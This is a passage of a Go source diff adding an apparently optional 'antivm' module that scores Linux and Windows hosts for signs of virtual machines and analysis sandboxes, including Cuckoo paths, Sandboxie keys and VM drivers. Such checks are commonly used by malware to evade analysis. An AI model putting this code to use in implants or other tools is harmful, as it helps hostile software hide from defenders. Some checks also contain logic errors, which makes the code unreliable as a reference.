return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- Linux 65% ---
|
||||
|
||||
func dmiProduct() bool {
|
||||
name := readFile("/sys/class/dmi/id/product_name")
|
||||
switch {
|
||||
case strings.Contains(name, "VirtualBox"):
|
||||
return true
|
||||
case strings.Contains(name, "VMware"):
|
||||
return true
|
||||
case name == "KVM" || name == "QEMU":
|
||||
return true
|
||||
case strings.Contains(name, "Bochs"):
|
||||
return true
|
||||
case strings.Contains(name, "Hyper-V"):
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func dmiSysVendor() bool {
|
||||
vendor := readFile("/sys/class/dmi/id/sys_vendor")
|
||||
switch {
|
||||
case strings.Contains(vendor, "innotek"):
|
||||
return true
|
||||
case strings.Contains(vendor, "Xen"):
|
||||
return true
|
||||
case strings.Contains(vendor, "Microsoft"):
|
||||
return true
|
||||
case strings.Contains(vendor, "QEMU"):
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func dmiChassisVendor() bool {
|
||||
vendor := readFile("/sys/class/dmi/id/chassis_vendor")
|
||||
return strings.Contains(vendor, "Oracle") || strings.Contains(vendor, "innotek")
|
||||
}
|
||||
|
||||
func vmwareIOMEM() bool {
|
||||
return strings.Contains(readFile("/proc/iomem"), "VMware")
|
||||
}
|
||||
|
||||
func vmwareDMESG() bool {
|
||||
content := readFile("/var/log/dmesg")
|
||||
if content == "" {
|
||||
content = readFile("/var/log/kern.log")
|
||||
}
|
||||
return strings.Contains(content, "VMware") || strings.Contains(content, "vmware")
|
||||
}
|
||||
|
||||
// --- Linux 55% ---
|
||||
|
||||
func dmidecodeCheck() bool {
|
||||
// Check all DMI sysfs files for VM brands
|
||||
entries, err := os.ReadDir("/sys/class/dmi/id")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
patterns := []string{"virtualbox", "vmware", "qemu", "kvm", "innotek", "xen", "bochs"}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(filepath.Join("/sys/class/dmi/id", e.Name()))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
content := strings.ToLower(string(data))
|
||||
for _, p := range patterns {
|
||||
if strings.Contains(content, p) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func dmesgCheck() bool {
|
||||
content := readFile("/var/log/dmesg")
|
||||
if content == "" {
|
||||
return false
|
||||
}
|
||||
for _, s := range []string{"Hypervisor", "VMware", "VirtualBox", "QEMU", "KVM", "Xen"} {
|
||||
if strings.Contains(content, s) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- Linux 50% ---
|
||||
|
||||
func dmiScan() bool {
|
||||
return firmwareDMI()
|
||||
}
|
||||
|
||||
func smbiosVMBit() bool {
|
||||
// Check /sys/firmware/dmi/tables for SMBIOS entry point
|
||||
data, err := os.ReadFile("/sys/firmware/dmi/tables/smbios_entry_point")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
// SMBIOS v3+ has a VM bit at offset 0x09
|
||||
if len(data) >= 0x1F {
|
||||
if data[0x1E]&0x01 != 0 {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func threadMismatchLinux() bool {
|
||||
cpuContent := readFile("/proc/cpuinfo")
|
||||
if cpuContent == "" {
|
||||
return false
|
||||
}
|
||||
n := 0
|
||||
for _, line := range strings.Split(cpuContent, "\n") {
|
||||
if strings.HasPrefix(line, "processor") {
|
||||
n++
|
||||
}
|
||||
}
|
||||
// If we see CPU brand but low core count, likely VM
|
||||
if n < 2 && strings.Contains(cpuContent, "Intel") || strings.Contains(cpuContent, "AMD") {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func amdSEVMSR() bool {
|
||||
// Check /sys/kernel/security/sev for AMD SEV/SEV-ES/SEV-SNP
|
||||
if data, err := os.ReadFile("/sys/kernel/security/sev/version"); err == nil {
|
||||
return strings.TrimSpace(string(data)) != ""
|
||||
}
|
||||
// Also check MSR via /dev/cpu (requires root)
|
||||
data, err := os.ReadFile("/dev/cpu/0/msr")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if len(data) > 0x800 {
|
||||
_ = data[0x800]
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- Linux 40% ---
|
||||
|
||||
func vmwareSCSI() bool {
|
||||
return strings.Contains(readFile("/proc/scsi/scsi"), "VMware")
|
||||
}
|
||||
|
||||
func qemuVirtualDMI() bool {
|
||||
content := readFile("/sys/devices/virtual/dmi/id/product_name")
|
||||
if strings.Contains(content, "QEMU") || strings.Contains(content, "KVM") || strings.Contains(content, "VirtualBox") {
|
||||
return true
|
||||
}
|
||||
vendor := readFile("/sys/devices/virtual/dmi/id/sys_vendor")
|
||||
return strings.Contains(vendor, "QEMU")
|
||||
}
|
||||
|
||||
func processesLinux() bool {
|
||||
vmProcs := []string{"vbox", "vmware", "VBox", "VMware", "qemu", "QEMU", "xen", "Xen"}
|
||||
entries, err := os.ReadDir("/proc")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
// Only check numeric directories (process PIDs)
|
||||
if e.Name()[0] < '0' || e.Name()[0] > '9' {
|
||||
continue
|
||||
}
|
||||
cmdline, err := os.ReadFile(filepath.Join("/proc", e.Name(), "comm"))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
comm := strings.TrimSpace(string(cmdline))
|
||||
for _, p := range vmProcs {
|
||||
if strings.EqualFold(comm, p) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- Linux 35% ---
|
||||
|
||||
func systemdVirt() bool {
|
||||
// Check /sys/devices/virtual/dmi/id for VM indicators
|
||||
// In containers, /sys might not have DMI info
|
||||
vendor := readFile("/sys/devices/virtual/dmi/id/sys_vendor")
|
||||
if vendor == "" {
|
||||
// No DMI info — likely container
|
||||
return cgroupVM() || dockerEnv()
|
||||
}
|
||||
return strings.Contains(vendor, "QEMU") || strings.Contains(vendor, "Xen")
|
||||
}
|
||||
|
||||
func hwmonMissing() bool {
|
||||
_, err := os.ReadDir("/sys/class/hwmon")
|
||||
return err != nil
|
||||
}
|
||||
|
||||
// --- Linux 30% ---
|
||||
|
||||
func wslProc() bool {
|
||||
version := readFile("/proc/version")
|
||||
if strings.Contains(version, "Microsoft") || strings.Contains(version, "WSL") || strings.Contains(version, "microsoft") {
|
||||
return true
|
||||
}
|
||||
osrelease := readFile("/proc/sys/kernel/osrelease")
|
||||
return strings.Contains(osrelease, "Microsoft") || strings.Contains(osrelease, "WSL")
|
||||
}
|
||||
|
||||
// --- Linux 20% ---
|
||||
|
||||
func hypervisorDir() bool {
|
||||
entries, err := os.ReadDir("/sys/hypervisor")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return len(entries) > 0
|
||||
}
|
||||
|
||||
func temperatureCheck() bool {
|
||||
entries, err := os.ReadDir("/sys/class/thermal")
|
||||
if err != nil {
|
||||
return true // no thermal info = likely VM
|
||||
}
|
||||
return len(entries) < 2
|
||||
}
|
||||
|
||||
func qemuUSB() bool {
|
||||
data, err := os.ReadFile("/sys/kernel/debug/usb/devices")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(string(data), "QEMU")
|
||||
}
|
||||
|
||||
func dmiChassisType() bool {
|
||||
typ := readFile("/sys/class/dmi/id/chassis_type")
|
||||
return typ == "" || typ == "0"
|
||||
}
|
||||
|
||||
// --- Linux 15% ---
|
||||
|
||||
func vboxModule() bool {
|
||||
content := readFile("/proc/modules")
|
||||
return strings.Contains(content, "vbox")
|
||||
}
|
||||
|
||||
func sysinfoProc() bool {
|
||||
content := readFile("/proc/sysinfo")
|
||||
return strings.Contains(content, "QEMU") || strings.Contains(content, "KVM") || strings.Contains(content, "Xen")
|
||||
}
|
||||
|
||||
func fileAccessHistory() bool {
|
||||
// Check if there's very low file access history (common in fresh VMs)
|
||||
_, err := os.Stat("/root/.bash_history")
|
||||
hasHistory := err == nil
|
||||
_, err2 := os.Stat("/home")
|
||||
hasHome := err2 == nil
|
||||
return hasHome && !hasHistory
|
||||
}
|
||||
|
||||
// --- Linux 10% ---
|
||||
|
||||
func linuxUserHost() bool {
|
||||
hostname := readFile("/proc/sys/kernel/hostname")
|
||||
if hostname == "" {
|
||||
return false
|
||||
}
|
||||
lower := strings.ToLower(hostname)
|
||||
for _, s := range []string{"ubuntu", "debian", "localhost"} {
|
||||
if lower == s || strings.HasPrefix(lower, s+"-") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- Linux 5% ---
|
||||
|
||||
func podmanFile() bool {
|
||||
_, err := os.Stat("/run/.containerenv")
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func bluestacksFolders() bool {
|
||||
entries, err := os.ReadDir("/mnt")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, e := range entries {
|
||||
if strings.Contains(strings.ToLower(e.Name()), "bluestacks") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func kmsgCheck() bool {
|
||||
f, err := os.OpenFile("/dev/kmsg", syscall.O_RDONLY|syscall.O_NONBLOCK, 0)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer f.Close()
|
||||
buf := make([]byte, 4096)
|
||||
n, err := f.Read(buf)
|
||||
if err != nil || n == 0 {
|
||||
return false
|
||||
}
|
||||
content := strings.ToLower(string(buf[:n]))
|
||||
return strings.Contains(content, "hypervisor") || strings.Contains(content, "kvm")
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
//go:build !antivm
|
||||
|
||||
package core
|
||||
|
||||
func DetectVM() {}
|
||||
@@ -0,0 +1,603 @@
|
||||
//go:build antivm && windows
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"log"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
func init() {
|
||||
registerWindowsChecks()
|
||||
}
|
||||
|
||||
func registerWindowsChecks() {
|
||||
// Protocol: name, fn, certainty
|
||||
|
||||
// 150%
|
||||
registerCheck("dbvm", dbvmCheck, 150)
|
||||
|
||||
// 100%
|
||||
registerCheck("wine", wineDetection, 100)
|
||||
registerCheck("mutex", vmMutex, 100)
|
||||
registerCheck("drivers", vmDrivers, 100)
|
||||
registerCheck("disk_serial", diskSerialVM, 100)
|
||||
registerCheck("ivshmem", ivshmemCheck, 100)
|
||||
registerCheck("handles", handlesCheck, 100)
|
||||
registerCheck("virtual_processors", virtualProcessors, 100)
|
||||
registerCheck("hypervisor_query", hypervisorQuery, 100)
|
||||
registerCheck("acpi_signature", acpiSignatureCheck, 100)
|
||||
registerCheck("firmware_tables", firmwareTablesCheck, 100)
|
||||
registerCheck("boot_logo", bootLogoCheck, 100)
|
||||
registerCheck("kernel_objects", kernelObjectsCheck, 100)
|
||||
registerCheck("nvram", nvramCheck, 100)
|
||||
registerCheck("edid", edidCheck, 100)
|
||||
registerCheck("clock_timing", clockTiming, 100)
|
||||
|
||||
// 95%
|
||||
registerCheck("devices_pci", devicesPCICheck, 95)
|
||||
|
||||
// 90%
|
||||
registerCheck("virtual_registry", virtualRegistryCheck, 90)
|
||||
registerCheck("cpu_heuristic", cpuHeuristicCheck, 90)
|
||||
|
||||
// 75% (32-bit only)
|
||||
registerCheck("vpc_invalid", vpcInvalidCheck, 75)
|
||||
|
||||
// 50%
|
||||
registerCheck("dll", vmDLLs, 50)
|
||||
|
||||
// 45%
|
||||
registerCheck("clock", clockCheck, 45)
|
||||
|
||||
// 40%
|
||||
registerCheck("processes", vmProcessesWindows, 40)
|
||||
|
||||
// 30%
|
||||
registerCheck("cuckoo_dir", cuckooDirCheck, 30)
|
||||
registerCheck("cuckoo_pipe", cuckooPipeCheck, 30)
|
||||
registerCheck("azure", azureHostname, 30)
|
||||
|
||||
// 25%
|
||||
registerCheck("display", displayCheck, 25)
|
||||
registerCheck("audio", audioDevices, 25)
|
||||
registerCheck("gpu", gpuCapabilities, 25)
|
||||
registerCheck("device_string", deviceStringCheck, 25)
|
||||
registerCheck("power_capabilities", powerCapabilitiesCheck, 25)
|
||||
|
||||
// 10%
|
||||
registerCheck("gamarue", gamarueCheck, 10)
|
||||
}
|
||||
|
||||
var vmSysDir = os.Getenv("SYSTEMROOT") + "\\System32\\"
|
||||
|
||||
// --- 150% ---
|
||||
|
||||
var vmDLLList = []string{
|
||||
"vboxhook.dll", "vboxmrxnp.dll", "vboxogl.dll", "vboxoglarrayspu.dll",
|
||||
"vboxoglcrutil.dll", "vboxoglfeedbackspu.dll", "vboxoglpackspu.dll",
|
||||
"vboxoglpassthroughspu.dll", "vboxservice.exe", "vboxtray.exe",
|
||||
"vmtoolsd.exe", "vmacthlp.exe", "vmsrvc.exe", "vmusrvc.exe",
|
||||
"vmserv.exe", "vmwaretray.exe", "vmwareuser.exe",
|
||||
"xenservice.exe", "xsvc.exe",
|
||||
}
|
||||
|
||||
func vmDLLs() bool {
|
||||
for _, dll := range vmDLLList {
|
||||
if _, err := os.Stat(vmSysDir + dll); err == nil {
|
||||
log.Printf("[antivm] windows_dll: found %s", dll)
|
||||
return true
|
||||
}
|
||||
}
|
||||
getModuleHandle := syscall.NewLazyDLL("kernel32.dll").NewProc("GetModuleHandleW")
|
||||
if getModuleHandle.Find() != nil {
|
||||
return false
|
||||
}
|
||||
for _, dll := range []string{"VBoxHook.dll", "VBoxOGL.dll", "vmware-vmx.dll"} {
|
||||
dllName, _ := syscall.UTF16PtrFromString(dll)
|
||||
if dllName == nil {
|
||||
continue
|
||||
}
|
||||
ret, _, _ := getModuleHandle.Call(uintptr(unsafe.Pointer(dllName)))
|
||||
if ret != 0 {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func dbvmCheck() bool {
|
||||
ntdll := syscall.NewLazyDLL("ntdll.dll")
|
||||
dbvm := ntdll.NewProc("DbvmCheck")
|
||||
return dbvm.Find() == nil
|
||||
}
|
||||
|
||||
func vmDrivers() bool {
|
||||
scsiPaths := []string{
|
||||
`HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0`,
|
||||
`HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0`,
|
||||
`HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0`,
|
||||
}
|
||||
vmTags := []string{"VBOX", "VMWARE", "QEMU", "XEN", "VIRTUAL"}
|
||||
for _, path := range scsiPaths {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE, path, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
val, _, err := k.GetStringValue("Identifier")
|
||||
k.Close()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
upper := strings.ToUpper(val)
|
||||
for _, tag := range vmTags {
|
||||
if strings.Contains(upper, tag) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func vmMutex() bool {
|
||||
snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer windows.CloseHandle(snap)
|
||||
|
||||
var entry windows.ProcessEntry32
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
if err := windows.Process32First(snap, &entry); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
vmProcs := []string{
|
||||
"vboxservice.exe", "vboxtray.exe", "vboxcontrol.exe",
|
||||
"vmtoolsd.exe", "vmwaretray.exe", "vmwareuser.exe",
|
||||
"vmupgradehelper.exe", "vmacthlp.exe",
|
||||
"xenservice.exe",
|
||||
"prl_cc.exe", "prl_tools.exe",
|
||||
}
|
||||
|
||||
for {
|
||||
name := strings.ToLower(syscall.UTF16ToString(entry.ExeFile[:]))
|
||||
for _, vm := range vmProcs {
|
||||
if name == vm {
|
||||
return true
|
||||
}
|
||||
}
|
||||
if err := windows.Process32Next(snap, &entry); err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func vmProcessesWindows() bool { return vmMutex() }
|
||||
|
||||
func diskSerialVM() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Services\Disk\Enum`, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
val, _, err := k.GetStringValue("0")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
upper := strings.ToUpper(val)
|
||||
for _, tag := range []string{"VBOX", "VMWARE", "QEMU", "XEN"} {
|
||||
if strings.Contains(upper, tag) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func ivshmemCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Enum\PCI`, registry.ENUMERATE_SUB_KEYS)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
subs, err := k.ReadSubKeyNames(0)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, sub := range subs {
|
||||
if strings.Contains(strings.ToLower(sub), "1af4") || strings.Contains(strings.ToLower(sub), "ivshmem") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func handlesCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Enum\PCI`, registry.ENUMERATE_SUB_KEYS)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
subs, _ := k.ReadSubKeyNames(0)
|
||||
vmDevices := []string{"15ad", "80ee", "1af4"}
|
||||
for _, sub := range subs {
|
||||
for _, vm := range vmDevices {
|
||||
if strings.HasPrefix(strings.ToLower(sub), vm) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func virtualProcessors() bool {
|
||||
return runtime.NumCPU() < 2
|
||||
}
|
||||
|
||||
func hypervisorQuery() bool {
|
||||
ntdll := syscall.NewLazyDLL("ntdll.dll")
|
||||
ntQuery := ntdll.NewProc("NtQuerySystemInformation")
|
||||
if ntQuery.Find() != nil {
|
||||
return false
|
||||
}
|
||||
// SystemHypervisorInformation = 0x9f
|
||||
var buf [256]byte
|
||||
ret, _, _ := ntQuery.Call(0x9f, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)), 0)
|
||||
return ret == 0
|
||||
}
|
||||
|
||||
func acpiSignatureCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`HARDWARE\ACPI\DSDT`, registry.ENUMERATE_SUB_KEYS)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
subs, _ := k.ReadSubKeyNames(0)
|
||||
for _, sub := range subs {
|
||||
lower := strings.ToLower(sub)
|
||||
if strings.Contains(lower, "vbox") || strings.Contains(lower, "vmw") ||
|
||||
strings.Contains(lower, "qemu") || strings.Contains(lower, "xen") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func firmwareTablesCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`HARDWARE\ACPI\Firmware`, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
vals, _ := k.ReadValueNames(0)
|
||||
for _, v := range vals {
|
||||
if strings.Contains(strings.ToLower(v), "vbox") ||
|
||||
strings.Contains(strings.ToLower(v), "vmware") ||
|
||||
strings.Contains(strings.ToLower(v), "qemu") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func bootLogoCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation`,
|
||||
registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
logo, _, err := k.GetStringValue("Logo")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
lower := strings.ToLower(logo)
|
||||
return strings.Contains(lower, "vbox") || strings.Contains(lower, "vmware")
|
||||
}
|
||||
|
||||
func kernelObjectsCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`,
|
||||
registry.ENUMERATE_SUB_KEYS)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
subs, _ := k.ReadSubKeyNames(0)
|
||||
for _, sub := range subs {
|
||||
subKey, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\`+sub,
|
||||
registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
desc, _, err := subKey.GetStringValue("DriverDesc")
|
||||
subKey.Close()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
lower := strings.ToLower(desc)
|
||||
if strings.Contains(lower, "vmware") || strings.Contains(lower, "vbox") ||
|
||||
strings.Contains(lower, "virtual") || strings.Contains(lower, "qemu") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func nvramCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`HARDWARE\RESOURCEMAP`, registry.ENUMERATE_SUB_KEYS)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
subs, _ := k.ReadSubKeyNames(0)
|
||||
for _, sub := range subs {
|
||||
if strings.Contains(strings.ToLower(sub), "vbox") ||
|
||||
strings.Contains(strings.ToLower(sub), "vmware") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func edidCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Enum\DISPLAY`, registry.ENUMERATE_SUB_KEYS)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
subs, _ := k.ReadSubKeyNames(0)
|
||||
for _, sub := range subs {
|
||||
lower := strings.ToLower(sub)
|
||||
if strings.Contains(lower, "vmware") || strings.Contains(lower, "vbox") ||
|
||||
strings.Contains(lower, "qemu") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func clockTiming() bool {
|
||||
ntdll := syscall.NewLazyDLL("ntdll.dll")
|
||||
ntQuery := ntdll.NewProc("NtQuerySystemInformation")
|
||||
if ntQuery.Find() != nil {
|
||||
return false
|
||||
}
|
||||
// SystemTimeAdjustmentInformation = 0x94
|
||||
var buf [32]byte
|
||||
ret, _, _ := ntQuery.Call(0x94, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)), 0)
|
||||
return ret == 0
|
||||
}
|
||||
|
||||
// --- 95% ---
|
||||
|
||||
func devicesPCICheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Enum\PCI`, registry.ENUMERATE_SUB_KEYS)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
subs, _ := k.ReadSubKeyNames(0)
|
||||
vmVendors := []string{"15ad", "80ee", "1af4"}
|
||||
for _, sub := range subs {
|
||||
parts := strings.SplitN(sub, "\\", 2)
|
||||
if len(parts) > 0 {
|
||||
vendor := strings.ToLower(parts[0])
|
||||
for _, v := range vmVendors {
|
||||
if strings.HasPrefix(vendor, v) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- 90% ---
|
||||
|
||||
func virtualRegistryCheck() bool {
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER,
|
||||
`Software\Sandboxie`, registry.QUERY_VALUE)
|
||||
if err == nil {
|
||||
k.Close()
|
||||
return true
|
||||
}
|
||||
|
||||
k2, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Services\Sandboxie`, registry.QUERY_VALUE)
|
||||
if err == nil {
|
||||
k2.Close()
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func cpuHeuristicCheck() bool {
|
||||
kernel32 := syscall.NewLazyDLL("kernel32.dll")
|
||||
isIntel := kernel32.NewProc("IsProcessorFeaturePresent")
|
||||
if isIntel.Find() != nil {
|
||||
return false
|
||||
}
|
||||
// PF_XMMI64_INSTRUCTIONS_AVAILABLE = 10
|
||||
// Check if SSE2 is properly reported
|
||||
ret, _, _ := isIntel.Call(10)
|
||||
return ret == 0
|
||||
}
|
||||
|
||||
// --- 75% ---
|
||||
|
||||
func vpcInvalidCheck() bool {
|
||||
// Virtual PC check (32-bit only via CPUID)
|
||||
ntdll := syscall.NewLazyDLL("ntdll.dll")
|
||||
vpc := ntdll.NewProc("VpcGuest")
|
||||
return vpc.Find() == nil
|
||||
}
|
||||
|
||||
// --- 45% ---
|
||||
|
||||
func clockCheck() bool {
|
||||
kernel32 := syscall.NewLazyDLL("kernel32.dll")
|
||||
getTickCount := kernel32.NewProc("GetTickCount64")
|
||||
t1, _, _ := getTickCount.Call()
|
||||
t2, _, _ := getTickCount.Call()
|
||||
// If time doesn't advance normally, could be VM
|
||||
return t2-t1 > 100
|
||||
}
|
||||
|
||||
// --- 30% ---
|
||||
|
||||
func cuckooDirCheck() bool {
|
||||
paths := []string{
|
||||
"C:\\Cuckoo", "C:\\analysis", "C:\\Analyzer",
|
||||
os.Getenv("TEMP") + "\\cuckoa",
|
||||
}
|
||||
for _, p := range paths {
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func cuckooPipeCheck() bool {
|
||||
// Check for Cuckoo pipe names
|
||||
pipes := []string{`\\.\pipe\cuckoo`, `\\.\pipe\analyzer`}
|
||||
for _, p := range pipes {
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- 25% ---
|
||||
|
||||
func displayCheck() bool {
|
||||
user32 := syscall.NewLazyDLL("user32.dll")
|
||||
getSystemMetrics := user32.NewProc("GetSystemMetrics")
|
||||
horz, _, _ := getSystemMetrics.Call(0)
|
||||
vert, _, _ := getSystemMetrics.Call(1)
|
||||
return (horz < 800 && vert < 600) || horz == 0
|
||||
}
|
||||
|
||||
func audioDevices() bool {
|
||||
winmm := syscall.NewLazyDLL("winmm.dll")
|
||||
out, _, _ := winmm.NewProc("waveOutGetNumDevs").Call()
|
||||
in, _, _ := winmm.NewProc("waveInGetNumDevs").Call()
|
||||
return out == 0 && in == 0
|
||||
}
|
||||
|
||||
func gpuCapabilities() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000`,
|
||||
registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
desc, _, err := k.GetStringValue("DriverDesc")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
lower := strings.ToLower(desc)
|
||||
for _, s := range []string{"virtual", "vmware", "vbox", "qemu", "hyper-v"} {
|
||||
if strings.Contains(lower, s) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func deviceStringCheck() bool {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Services\Disk\Enum`, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
vals, _ := k.ReadValueNames(0)
|
||||
for _, v := range vals {
|
||||
val, _, err := k.GetStringValue(v)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
lower := strings.ToLower(val)
|
||||
if strings.Contains(lower, "vbox") || strings.Contains(lower, "qemu") ||
|
||||
strings.Contains(lower, "vmware") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func powerCapabilitiesCheck() bool {
|
||||
powrprof := syscall.NewLazyDLL("powrprof.dll")
|
||||
callNtPowerInfo := powrprof.NewProc("CallNtPowerInformation")
|
||||
if callNtPowerInfo.Find() != nil {
|
||||
return false
|
||||
}
|
||||
// SystemPowerInformation = 12
|
||||
var buf [32]byte
|
||||
ret, _, _ := callNtPowerInfo.Call(12, 0, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
|
||||
return ret == 0
|
||||
}
